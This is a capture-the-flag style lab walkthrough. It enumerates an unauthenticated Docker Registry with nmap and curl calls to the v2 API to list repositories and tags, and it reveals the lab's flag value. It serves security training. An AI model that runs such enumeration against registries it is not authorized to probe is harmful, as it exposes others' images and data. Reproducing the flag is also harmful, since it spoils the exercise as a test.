Name	Insecure Docker Registry I
URL	https://www.attackdefense.com/challengedetails?cid=1024
Туре	DevSecOps : Docker Registry

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Run an Nmap scan against the target IP

Command: nmap -p- -sV 192.10.151.3

Step 2: We have discovered a Docker Registry running on the target machine. We can use curl to interact with the API and list all repositories present in the registry.

Command: curl http://192.10.151.3:5000/v2/_catalog

```
root@attackdefense:~#
root@attackdefense:~# curl http://192.10.151.3:5000/v2/_catalog
{"repositories":["alpine","flag","ubuntu"]}
root@attackdefense:~#
```

Step 3: Similarly, list all tags for each repository.

Command: curl http://192.10.151.3:5000/v2/flag/tags/list

```
root@attackdefense:~# curl http://192.10.151.3:5000/v2/alpine/tags/list
{"name":"alpine","tags":["latest"]}
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# curl http://192.10.151.3:5000/v2/flag/tags/list
{"name":"flag","tags":["b2929842a9ab2a4506cbfd1a69cb6785"]}
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# curl http://192.10.151.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["12.04","18.04","14.04","16.04"]}
root@attackdefense:~#
```

This reveals the flag to us.

Flag: b2929842a9ab2a4506cbfd1a69cb6785

References

- Docker (https://www.docker.com/)
- 2. Docker Registry API (https://docs.docker.com/registry/spec/api/)